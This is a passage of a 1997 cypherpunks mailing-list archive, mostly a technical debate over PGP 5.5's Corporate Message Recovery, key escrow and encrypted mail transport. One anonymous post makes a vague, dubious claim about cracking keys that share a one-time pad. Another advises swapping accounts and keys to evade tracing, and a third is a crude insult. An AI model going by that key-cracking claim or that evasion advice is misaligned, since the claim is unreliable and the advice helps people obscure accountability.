     equivalent of catalog mail-order sales, those talks are doomed," he
     added.
     
     "I can understand their desire to fight that battle but it would
     certainly not do much good to create a situation where you are
     favoring one at-home purchase over another," said Seldin.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
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     * House panels back Internet taxation bill - October 9, 1997
       
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          + HR 1054 - Internet Tax Freedom Act
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          + Commerce Committee
          + Judiciary Committee
     * National Governors' Association
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 18 Oct 1997 11:28:28 +0800
To: cypherpunks@toad.com
Subject: CMR Monkeywrenching Itself
Message-ID: <072072fd628719e4b0d427834ec87b4c@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



a0a1a2a3a4a5a6a7a8a9
b0b1b2b3b4b5b6b7b8b9
...
z0z1z2z3z4z5z6z7z8z9

If you send the above message repeatedly, changing a single character
at a time, in increments (X0a1a2.../aXa1a2...) some interesting things
happen to messages encrypted to two keys, especially if they share a
one-time pad.
These 'interesting things' are wonderful tools for prying open the 
secrets of a foreign key, using what you already know about the key
you are in possession of.

If you happen to be working with an encryption program that unwitting
allows you to access the one-time pad it is using (or to *supply* the
one-time pad it uses), then you can crack secret keys during your lunch
breaks and still have time to complete a level of Doom before it is
time to get back to work.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IP-Administrator@sexlink.net
Date: Sat, 18 Oct 1997 11:38:10 +0800
To: cypherpunks@toad.com
Subject: Free Adult Content For Your Web Site!
Message-ID: <199710180320.XAA03001@zmail.firstcounter.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 18 Oct 1997 12:13:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: A quote...
Message-ID: <199710180431.XAA01256@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




The politics of those whose goal is beyond time are always pacific; it is
the idolaters of past and future, of reactionary memory and utopian dream,
who do the persecuting and make the wars.

                                              Perennial Philosophy
                                                 Aldous Huxley


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 18 Oct 1997 07:04:53 +0800
To: nobody@REPLAY.COM
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <199710161715.TAA21716@basement.replay.com>
Message-ID: <199710172246.XAA02901@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




High quality anonymous post, which I'll comment on below.  I have my
suspicions as to who this person is; I won't comment on who, but I do
appreciate his thoughtful comments.

Anonymous writes:
> Let's look a little closer at the kinds of access and notice available in
> the PGP system compared to alternatives.
> 
> As several people have pointed out, no encryption system can provide
> protection against what is done with the message after it is decrypted.
> The receiver could share it with whoever he wants to, or whoever he is
> forced to.
> 
> Consider the following scenarios:
> 
>  - An encrypted message is sent to someone at his workplace using current
>    systems like PGP 2.6.
> 
>  - An encrypted message is sent to someone at his workplace, who is using the
>    message access features of PGP 5.5.  The corporation key is marked as
>    "optional", and the message is not encrypted to that extra key.
> 
>  - An encrypted message is sent as before, but this time the message is
>    encrypted to the corporate key.

You missed one scenario, which corporates are probably going to like
better than you imagine.  The reason they will like it better than you
imagine is because you believe in privacy; they do not.  You belief in
privacy is making you unrealistically optimistic about companies
respect for privacy.

The missed scenario is:

>  - An encrypted message is sent to someone at his workplace, who is using the
>    message access features of PGP 5.5.  The corporation key is marked as
>    "non-optional", and the message is encrypted to that extra key.

If you are non-technical (which most people are not), you would then
be forced to use this.  This is because the SMTP policy enforcer will
bounce the mail if you do not.

Your expectation of privacy is respected, because you expect none.

However if the system is used for other than anticipated purposes,
such as perhaps as a GAK enforcement mechanism in
tinpotdictatorsville, it is not just expectation of privacy concerns
which will concern you.  It is civil rights issues.

You have a dual concern: you are trying to protect against big brother
and against little brother.

The way that your concerns about little brother have been transferred
into the protocol resulting in the CMR mechanism has not added
anything at all to protection against little brother; protection
against little brother are largely statement of intent issues.

However you do raise a fresh point in this debate below.

>  - An encrypted message is sent to someone at his workplace, who is using
>    a different form of corporate access which relies on key escrow
>    or automatic acquisition of cleartext.
> 
> We agree that none of these systems can provide complete protection
> against third party access.  In any of them, the receiver could be forced
> to turn over the encrypted message.  But there is still a difference.
> 
> In the first two scenarios, the expectation of privacy is the same.
> You are encrypting to a personal key at a business address, but you
> expect that you would know about it if the data were being provided to
> a third party.  There is no widespread installed base of software which
> provides secret access after the message is decrypted.

This is clever reasoning.  I have not seen anyone raise this objection
previously.

However, you neglect that there is something which is incredibly
highly deployed: hardly anyone is using disk encryption software.  So
the mostly widely installed user base already has the possibility for
someone else in the company to decrypt it: the plaintext is an easier
tarket than CDR recoverable data in my system.

Your second distinction then resides in the claim that the email is
still encrypted in the mail folder, and it has no recovery
information.

True enough, it doesn't.

However what you are really saying is that the system has been
purposefully designed to respect employees rights to receive private
email.  This design decision is implemented at a higher level than the
protocol level.  This design decision is independent of the use of CMR
or CDR.

You can easily implement private email with CDR.  You can provide two
keys: one for private use and one for company use.  Or you can the
email as private or not.  Or you can give the user the ability to
control independently for each email:

is it archived (yes/no)
is the archive recoverable (yes/no)

I have been arguing for these features to be put in also, which
demonstrates that I have just as much concern for privacy as you do.

> In fact, the second scenario arguably provides slightly more privacy
> than the first, which is what we have now.  The reason is that in the
> second scenario, the company provides an optional mechanism for business
> mail to be recoverable, but also provides an explicit, sender-controlled
> escape clause.  The company is granting an explicit expectation of privacy
> by allowing the corporate key recipient to be removed.  With usage of
> older versions of PGP, there was really no way for the company to even
> inform the sender about whether it was going to be reading the mail.

I like the statement intent of plaintext handling flag.  It is
independent of the protocol level, and can be used for either system.

> In the third scenario, where you encrypt to the corporate key, there is
> no expectation of privacy.  All parties, the sender, the receiver, and
> the company, know that the data is being made available to the business.
> There is not much privacy here; what you have is business security.  This
> mode would be used for business documents and business communications.

This is dangerous.  Companies could lose lots of money over this when
they are sued and a discovery process is used to recover all business
communiations.  Lawyers will be poring over those communications.
Most of them will have been written with under 1 minutes thought.  The
lawyer will be able to find lots of things to pick legal nits in.  He
will build a case, and your company will lose a fortune.
 
This is why you should give user control over what is archived.  He
can decide to archive things he thinks of import to keep for company
records.  The rest can be lost.  It is also why you should do
something somebody else suggested to me in email: have signatures
which expire.

> In the fourth scenario, which some people are offering as a superior
> approach, the expectation of privacy is much less clear.  Unlike in the
> current PGP approach, where the design of the corporate access system
> is oriented around notifying the sender and receiver, a key escrow or
> plaintext recovery system inherently provides no such notice.

The expectation of privacy is based on trust.  It can not be enforced,
as you acknowledged above.  The statement of intent expectation of
privacy can be encoded in the key independent of data recovery method.

> This is different from the status quo.  We are talking about a commercial
> product which provides automatic corporate access to communications.
> Widespread installation and use of this alternate version of PGP
> inherently changes the assumptions and expectations that you will have
> when you encrypt to someone at work.  

You can add as many privacy features as you want on top of CDR.
Whether your implementation changes the status quo positively or
negatively is your decision; you have full control in which features
you provide.

> Given the company's desire for message access, 

I thought that PGP stated that companies wanted to be able to recover
stored archived email for employee performance benefits.

> this approach implies that you must conservatively assume that most
> encryption to a business address will be read.

No.  You can add the exact same framework for statement of intent, and
of what is and what is not archived.  This is a completely orthogonal
issue.

> The PGP system is designed to avoid this.  It provides another method
> for corporate access, a visible and explicit method.  

Visibility and explicitness are acheiveable with either system.

> It is intended as an alternative to key escrow and other systems
> which recovery data after the recipient gets it.  PGP's third party
> recipient feature is designed to prevent the creation of an
> installed base of escrowed keys and after the fact third party
> access software.

What would you rather:

- government recovery of those parts of the data which users
voluntarily select to be stored in ways which can be recovered (after
government raid of offices)

- government key word scanning all email in transit without needing to
raid offices.

PGP Inc's CMR design is flawed because you have focused on privacy
concerns which can be equally acheived with the CDR design; and you
have done so at the expense of building a system which offers little
resistance to being adopted by goverment to build a communications
snooping, keyword scanning system.

> Even if the encryption system provides a way for the user to mark his
> keys as being escrowed or otherwise providing third party access,
> the system is not self-correcting in the way the PGP system is.
> It would be much easier for a business owner to pervert a secretive
> access system than one like PGP.  

I didn't propose it as a secretive access system, I proposed it as a
recovery system.  Of course, it can be perverted to be one in the same
way that CMR can be; both systems can be perverted.  I argued that the
software should be designed to make it as hard as possible to bypass.
This won't be hard because software modifications can acheive it.

My proposal is to allow users to selectively archive what they want
to, and to selectively allow users to allow corporate recovery of what
they want.

The CMR system is not self correcting.  The CMR system means that
companies can snoop all of the email (that the sender hasn't taken
steps to hack around CMR key).  With my proposal in adition the
recipient can delete things he would rather not keep around.

> The company could install the access features but not tell its
> employees that their keys were being escrowed, or that their mail
> client was secretly storing a copy of all plaintexts.  This kind of
> change would be easy to make with the after-the-fact access systems
> some people are proposing.  Yes, theoretically this can be done with
> any encryption system (as all agree) but the point is to avoid the
> widespread distribution of software which invites this kind of
> abuse.  The PGP system is designed to satisfy business needs without
> leading us into this dangerous situation.

CMR invites even worse kinds of abuse.  It invites wide scale
government abuse of keyword scanning email.

CMR is even worse because every last email can be recovered.

> A world in which third party encryption by the sender is the normal
> and widespread method for corporate access is one with increased
> privacy and more visibility of access.

disagree on both counts, as explained variously above.

> The alternatives which have been proposed are prone to abuse and
> provide less visibility.

They are less prone to abuse as I have stated them above.  But the
proness to abuse depends on the functionality you are demanding of
them in as far as that affects design, ultimately I think they can
both be hacked with equivalent ease in either direction (more privacy,
less privacy).

> They lead us towards a world in which there is no expectation of
> privacy even for encrypted messages, 

Disagree.  Expectations of privacy are orthogonal issues.

> by providing an installed base of snooping software.  

this charge applies to CMR software.  Third party snooping of
communications is infinitely more dangerous than snooping of stored
information.

In a company environment the company has control.  He can install a
keyboard sniffer when you are out of the office.  He can replace your
software.  This applies to both systems.  With CMR the company can all
email without the receiver having any choice.  With CDR the reciever
can choose to archive or not to archive.  He can choose to allow
recovery or not.

Next talk about government dangers.

With CMR if this technology is adopted by governments, and the OpenPGP
standard is allowed to include CMR technology we have keyword
scanning.  The CMR technology will allow government to know when the
unskilled person is cheating.

With CDR, if the government demands escrow of all storage keys the
government has no way of knowing if you are cheating with out breaking
into your building/house.  If you consider the government will break
in, you don't have much to lose by not using the key the government
has escrowed.

> The PGP approach is explicitly designed to keep us out of that
> world, by removing the need for that kind of software.

It is trying to do something useful, and the people who are proposing
it have good privacy preserving intentions.

I think it is failing to meet those intentions well, becuase the
privacy preserving, statement of intent, and non-hackability for
companies are all orthogonal issues to the choice between CDR and CMR.

CDR offers significant extra protection against government perversion
of the software authors intent.

data recovery good, communications recovery bad.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 18 Oct 1997 08:04:16 +0800
To: ietf-open-pgp@imc.org
Subject: what is purpose of CMR?
Message-ID: <199710172354.AAA03957@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




This is a question which I am unclear on about PGP Inc's design goals
in using the CMR method.

  Is the CMR field to allow the company to recover from the user
  forgetting his password?  (recover his mail folder full of encrypted
  email).

or

  Is the CMR field to allow the company to read the email in transit

This seems like a fairly important distinction.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 18 Oct 1997 16:58:04 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <3.0.3.32.19971017015110.006afc90@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19971018014919.006c9538@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:27 PM 10/17/1997 +0100, Adam Back wrote:
>Bill Stewart <stewarts@ix.netcom.com> writes:
>> I'll duck the 5.5 argument for now, but you're 
>> incorrect on 5.0.  The PGP 5.0 key format includes
>> separate keys for signature and privacy, which is a mostly good thing,
>A very good thing.

It's very good, but it does have its own risks.
If you use the same keys for signature and encrypting to you,
and the government wants to GAK your encryption keys,
they have to steal your signature keys also, 
which just about everybody agrees is Bad, and it's
simply unacceptable in a business environment.
On the other hand, if the keys are separate, Louis Freeh
can tell the Congress that it's not a big problem,
he'd NEVER dream of GAKing your signature keys,
he only wants emergency access to your privacy keys --
this may give the GAK folks a better chance of getting it.
Similarly, your corporate security bureaucrats can understand
the concept that if they CAK your privacy keys,
they're risking having official company signatures get forged,
and they'll often do the right thing and desist,
but with separate keys that won't stop them.


> The PGP 5.0 key format [....]
>> and includes the ability to associate a group of
>> keyIDs and flag bits with each privacy key.
>So can you use pgp5.0 to construct a CMR key which would
>interoperate with pgp5.5 for business?

No.  As far as I know (without reading 7000 pages of code :-),
pgp5.0 won't construct CMR key fields, and won't use them,
it just isn't supposed to die if it receives a key containing them.

>Clearly pgp5.0 does nothing with these flags on reciept, 
>but does it understand them when sending?

If it receives a key containing CMRKs, it doesn't choke on the CMRKs,
and when you encrypt a message to the key, it ignores the CMRKs.
If it receives a message encrypted to both real people and CMRKers,
there's no way to tell which are which (though if you don't have
CMRKs in your key, they're obviously not your CMRKs.)

>Does pgp5.0 reply encrypting to just me as individual, or two crypto
>recipients me, and Mega Corp recovery key?
Just you.

>> >- store a copy of the private half of the users PGP encryption key
>> >  encrypted to the company data recovery key on the users disk.
>> No.  This is evil.  Don't go there.  Even with secret sharing,
>> and especially without.
>
>It is evil.  But it is not _as_ evil.
>
>The reason for this is that government access to storage keys is not
>as evil as government access to communications keys, because the
>government has to come and capture the ciphertext (take your disk),
>whereas with communications they can grab them via an arrangement with
>your ISP.

First of all, the only reason for having a CMRK attached to your key
is that either your mail service will reject mail to you that doesn't
contain it, or your employer insists on it.  In either case,
it can be done without a special CMRK field on your key --
PGP multiple recipients are enough to do that, and the sender
just has to remember to include the (no longer automagically attached) CMRK.
So leaving out the CMRK doesn't protect you.

Second, if the government is coming to get your disk anyway,
they can get themselves a court order to have you reveal the key,
and you can argue with the judge about whether you should be
compelled to reveal it, and at least in the US there's a 
Fifth Amendment backing up your arguments (though like the
other amendments, it's weakened by the "except for drugs" clause...)
GAK asserts that the government has the right to your keys
before you get to court.  Corporate access to storage keys,
on the other hand, is concerned with protecting the company's
information on the company's computers, and you can reasonably
negotiate how much of that you want to live with and comply with.
Some companies want to protect their information in case you
get hit by a bus, or a lawsuit; other companies don't even
have the sense to provide decent automated network-based backup
to protect their information from head crashes.

On yet another hand, while it may be obvious when the
government steals your disk and uses Storage-GAK,
companies using Storage-CAK or Storage-CMR can use it 
just as well on the backup tapes without your notice
as on your disk drive.  Furthermore, you can think of
the data backup process as communications from you
to the backupmeister, so Storage-CAK _is_ Message-CAK,
and Storage-CMR is Message-CMR.

But CAKing the disk doesn't protect the company's information,
and there's therefore no excuse for using it.  Superencryption
is always possible, in messages as well as files, but with
message encryption the eavesdropping-prone corporation can
detect superencrypted messages going by (though not stego'd),
while PGP-encrypted files on your disk only show up _after_
you've been hit by the bus on your way to the headhunter's.

BTW, PGP5.5 CMR _is_ CMR'd storage encryption.  
It's not as convenient as encrypted file systems 
like PGPdisk and Secdev, 
but people are using it to encrypt stored data,
including email and non-email files.

On a technical note, GAK for storage can be made less dangerous,
though not less offensive, by adding a layer of indirection -
use your public key to encrypt a symmetric key, store the encrypted
symmetric key on your disk, and then use the symmetric key for
encrypting the storage (or as a master key for encrypting the
per-file or per-block storage keys, if you're doing that, 
which you probably should.)  This means that a search warrant
which is required to itemize the things it's looking for can be
more effectively restricted to specific files rather than
cracking the whole disk and every other disk that uses the
same encryption keys.

>This is not avoidable for storage ... if you are encrypting data on
>disk, and if you want recovery information, you have no choice but to
>allow company access.    The recovery information should be 
as decentralised as much as possible.  

>The point though is that storage recovery is a completely separable
>issue from communications "recovery" which is a euphamism for allowing
>companies to read, or snoop, employees email, unless it is being used
>soley for data recovery of mail stored in mail folders (which seems to
>be what PGP Inc means by CMR term), in which case it is not necessary
>functionality, and can be better acheived by encrypting the mail
>archive with a user symmetric key with company storage recovery on
>that key.

Trust me - you _really_ don't want mailboxes encrypted,
recovery key or no recovery key, unless it's implemented very very well.
Microsoft Mail, and as near as I can tell Microsoft Exchange,
puts the user's entire mailbox, stored message folders and all,
in one big ugly cheaply-encrypted file.  The encryption isn't
strong enough to keep the NSA out, but it's strong enough to keep
you from repairing the file if part of it gets damaged,
and enough to keep you from extracting the undamaged parts,
or accessing it with sorting tools not built into MSMail.
Combined with the Microslush Mail Mindset of never sending text
when a Microsoft Word file could do, and never sending Word
when an even-more-bloated PowerPoint Presentation can fit,
your mailbox easily expands to over 100MB, too big to fit
on a ZIP drive.  Eventually, something always gets corrupted,
and you end up with Corporate Message Non-Recoverability.


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glenn Hauman <hauman@bb.com>
Date: Sat, 18 Oct 1997 14:14:58 +0800
To: Lizard <mech@eff.org>
Subject: Re: pro-crypto govt. people
In-Reply-To: <v03007816b06c1d7a2802@[168.161.105.141]>
Message-ID: <v03007803b06e016ad0fd@[166.84.212.167]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:23 PM -0400 10/16/97, Lizard wrote:
>At 04:08 PM 10/16/97 -0400, Declan McCullagh wrote:
>>Last week after a TV show I was
>>telling Donna Rice-Hughes about how crypto can protect against stalkers,
>>but I don't know if she understood my argument.
>
>Stick to words of one syllable. Hmmm...
>"If you make words hard to read, bad men will not find you."
>
>Try that. :)

No, put it in terms she understands:

"If you make embarassing words impossible to read, no one will be able to
read them on the front page of national newspapers."


Best-- Glenn Hauman, BiblioBytes
       http://www.bb.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 18 Oct 1997 17:43:21 +0800
To: "Attila T. Hun" <jon@pgp.com>
Subject: Re: consensus on pgp? can we consolidate for action?
In-Reply-To: <19971016.032545.attila@hun.org>
Message-ID: <3.0.3.32.19971018020526.006cbe38@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:39 AM 10/18/1997 +0000, Attila T. Hun wrote:
>    as Bill also pointed out, somethings could be done via the
>    EHLO extensions, but the limitations would be to great.
>    secondly, as Jon Callas points out, there is the option of
>    TLS via SSL. however, that takes the wrapper off in a store 
>    and forward situation and you can not control the hops.

>    ** what I had in mind: **
>    literally a point to point, port to port daemon pair 
>    --operating in a trusted pair mode. 

Besides doing things at the SMTP, IPSEC, or SSL layers,
another approach is SSH.  You could build an application-specific
relay (e.g. something sitting on your machine receiving SMTP
and something sitting on your mailhost relaying it to sendmail),
but SSH does close enough to that that it may be the way to go,
except for occasional annoyances about who can use Port 25.

Also, there are two mail protocols to address - 
smtp for sending, but pop3 (or imap4) for mailbox-retrieval.
Using either SSH or IPSEC or something SSL-based
can help you cover the POP3 end as well.

On the other hand, you can also use Hotmail or a Hotmail clone
with SSL and bypass the whole process.  Or you can use a
PGP-equipped remailer.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 18 Oct 1997 10:47:26 +0800
To: Jon Callas <jon@pgp.com>
Subject: Re: consensus on pgp? can we consolidate for action?
In-Reply-To: <19971016.032545.attila@hun.org>
Message-ID: <34482161.4AD6@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    alas, I must have been less than clear with the 
    statement "sendmail type" daemon.

    as Bill Stewart so aptly stated:

>   sendmail is such a wretched hive of
>   crime, corruption, and villainy that nobody in their right mind
>   really wants to mess with it. 

    is an abomination; in fact, about 1980/1 or such, I had a
    reason to carefully exam a few of the internals;
    subsequently, Eric Allman had good reason to be very
    circumspect where he crossed the street. <g> that
    and the rules set of the M4 macro processor --an even worse 
    abomination. speaking of Eric, I have not seen or heard for
    many years...?

    as Bill also pointed out, somethings could be done via the
    EHLO extensions, but the limitations would be to great.

    secondly, as Jon Callas points out, there is the option of
    TLS via SSL. however, that takes the wrapper off in a store 
    and forward situation and you can not control the hops.

    ** what I had in mind: **

    literally a point to point, port to port daemon pair 
    --operating in a trusted pair mode. 

    if store and forward was necessary, there would be a
    requirement for a dynamically maintained table similar
    to DNS, and a means of securing the data.  in order to
    implement store and forward, a web of trust would be
    essential, otherwise only point to point is feasible.

    in other words, a system similar in function to MixMaster
    except that it is fully end to end secure --well, as secure 
    as one can be using the IP carriers, SSL or not. 

    the are many nuances: for instance, provisions for key 
    lookup. 

    in all honesty, I have not been as concerned with all the 
    possibilities, just the design of and easily installable and
    maintainable daemon to satisfy the basic requirement, and 
    sufficient hooks to implement functionality without 
    compromising security.

    meanwhile, our hands are full with the PGP sell-out to the
    man, willing, or kicking and screaming, or even sold out by 
    the vultures and beancounters with an agenda: money. even 
    without presuming a current sellout, I suspect the whole
    affair was compromised from the gate --money talks, shit
    walks; and, there are many other unanswered questions, 
    some which I floated a year ago; regardless, someone is 
    schilling for uncle.

    in any event, all feedback is sincerely appreciated; none of
    us, weathered and scratched old grizzlies like me, or 
    cheetahs new to the veldt, have a corner on ideas. to 
    survive, the old just get meaner, and trade on their 
    experience. <g>

        attila


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNEggyL04kQrCC2kFAQGI0wP+JPI1v675+hdVRpXGr9dnI/XBqPHbPIMk
v4PA4eIqFEVbH2j5jWXsG9pEK1DrGdFwJl26DSeV7dgkQAqOWNUdsNML2w+L8tiw
Vr+VFGBznv+1BmxoyPskWAddTtXxqKO9i6kHbNcwE2nKBG1SoxLWF6uCZdQClwME
VS5RC3jRTTQ=
=uOdC
-----END PGP SIGNATURE-----

Jon Callas wrote:
> 
> At 01:18 AM 10/17/97 -0700, Bill Stewart wrote:
>    At 08:40 AM 10/16/1997 +0000, Attila T. Hun wrote:
>    >    I have not seen any further discussion on my suggestion to
>    >    create a sendmail type daemon which implements DH between
>    >    mail clients. this, of course, is on the presumption that DH
>    >    is a wrapper for an already encrypted packet,
> 
>    DH between mail clients and servers is a really fine idea if you're
>    starting from scratch, but sendmail is such a wretched hive of
>    crime, corruption, and villainy that nobody in their right mind
>    really wants to mess with it.  You could implement it as a sendmail
>    extension using the EHLO stuff, but you'd have to go get people
>    to adopt it widely once you'd done it; I suppose if you could talk
>    Netscape and Eudora into adding DH exchange to their client code
>    and get it into a few popular servers, you'd have a large fraction
>    of the Internet's email encrypted, which would be a Good Thing.
>    It'd still have some major traffic analysis issues,
>    and if you want to deal with the Man In The Middle problem,
>    you need a key distribution infrastructure, which is much harder.
> 
>    An alternative approach is to encrypt everything using IPSEC,
>    and you don't have to mess with Sendmail, but there are
>    performance issues, and there's a lot of work getting it deployed also.
> 
> There's another solution too -- make your mail servers talk with TLS
> (Transport Level Security, a.k.a. SSL).
> 
> This solves some problems and not others. If your SMTP path includes any
> hops, then the message is in plaintext on that machine. Complicating it
> further, you cannot reliably enforce what the hops will be.
> 
> This is one of the reasons that email keys are sometimes considered comm
> keys and sometimes storage keys.
> 
>         Jon
> 
> -----
> Jon Callas                                  jon@pgp.com
> Chief Scientist                             555 Twin Dolphin Drive
> Pretty Good Privacy, Inc.                   Suite 570
> (415) 596-1960                              Redwood Shores, CA 94065
> Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
>               665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 18 Oct 1997 17:59:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <19971017183529.03942@rigel.infonex.com>
Message-ID: <3.0.2.32.19971018025454.03e23124@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:
>You have a dual concern: you are trying to protect against big brother
>and against little brother.

At the technical level, is there a meaningful difference between the
brothers? Aren't we really talking about third-party access to
communications, and second-party access to stored data ... with the
"brother" distinction being one made at a social/political level, as a
judgement about the legitimacy of the access or the size of the actor,
rather than the character of the access?


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 18 Oct 1997 19:12:02 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199710181050.DAA15965@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. Mayonnaise carries a turd in his 
wallet for identification purposes.

      n  ___  n
      H /. .\ H Timmy C. Mayonnaise
     nHnn . nnHn
    <U U/ o \U U>
    /  /\___/\  \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 18 Oct 1997 10:44:57 +0800
To: cypherpunks@toad.com
Subject: MonkeyWrenching Monitoring
Message-ID: <199710180231.EAA25132@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




I share and/or swap my email accounts with others on a 
regular basis, particularly at times when I can verify
I was somewhere other than where the account was logged
onto.
I do the same with non-essential crypto keys, etc.

This sharing, in many legal jurisdictions, turns your
accounts into a 'public street', so to speak, meaning
that any 'tracks' left behind don't necessarily lead 
to your own doorstep in a legalistic sense.

A word of caution: If you don't have access to *good*
legal services, the above methods may work against you,
if push comes to shove.

MonkeyMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 18 Oct 1997 17:49:24 +0800
To: jon@pgp.com
Subject: Re: what is purpose of CMR?
In-Reply-To: <3.0.3.32.19971017165408.00be6900@mail.pgp.com>
Message-ID: <199710180723.IAA00783@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> writes:
> At 12:54 AM 10/18/97 +0100, Adam Back wrote:
>    
> > [what is CMR key for surveillance/ or disaster recovery]
> 
> It's not for surveillance. It's for recovering from disaster. 

In that case recovery can be much more simply and securely achieved
locally to the recipient.  Escrow or use locally stored recovery
information.  The CMR key is not needed for this functionality.

> I think it would be a good thing to send a PGP message over an
> encrypted link (TLS or other).

This is an independently good idea and would mitigate some of the
possibilites of CMR functionality being used for purposes other than
it's designers intended.

However it is hard to do; and the keys have different security focus
becuase it is hard to use user <-> user end to end TLS because of the
store and forward nature of email.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 18 Oct 1997 21:46:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: OUBAKAYAROU!! (fwd)
Message-ID: <199710181407.JAA02154@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 17 Oct 1997 18:25:39 -0700
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: Re: OUBAKAYAROU!!
> 
> Meanwhile, there is a cypherpunks-j@htp.org, in Japanese,
> and there's probably still a cypherpunks-e@htp.org in English, 
> though the last time I checked it, it had been 
> mostly a mirror for the cypherpunks list with almost no independent content,
> and its mail gateway broke badly and splattered all over its subscribers.

What is your problem Bill regarding cypherpunks-e you've made accussatory
comments regarding that list a couple of times now? It is simply another
member of the CDR just like SSZ or algebra.com - is your claim that each of
these has their own indipendant content? If so, catch a clue and realize
they don't unless their broke somehow and quit forwarding. If somebody on
cypherpunks-e submits something it gets gatewayed through SSZ (and hopefuly
others by now) just like traffic from one of the other member remailers. I
wanted to gateway cypherpunks-j as well but we decided folks might get
confused if there were something other than english on here. And
considering both the -e and -j are in Japan, new, and relatively
unadvertised does it really suprise you that they don't have a lot of English
based traffic from that end?

You must be the one(s) who keeps subscribing and unsubscribing to the 3 US
remailers from a variety of (forged?) aliases in the hopes of carrying on the
'moderation experiment' meme. Or perhaps your hope is to catch one of us
down and claim we're filtering because the traffic didn't show up from three
different sources. I can't speak for the other CDR operators but I can say
that SSZ cache's all mail originating on this end and sends it out to the
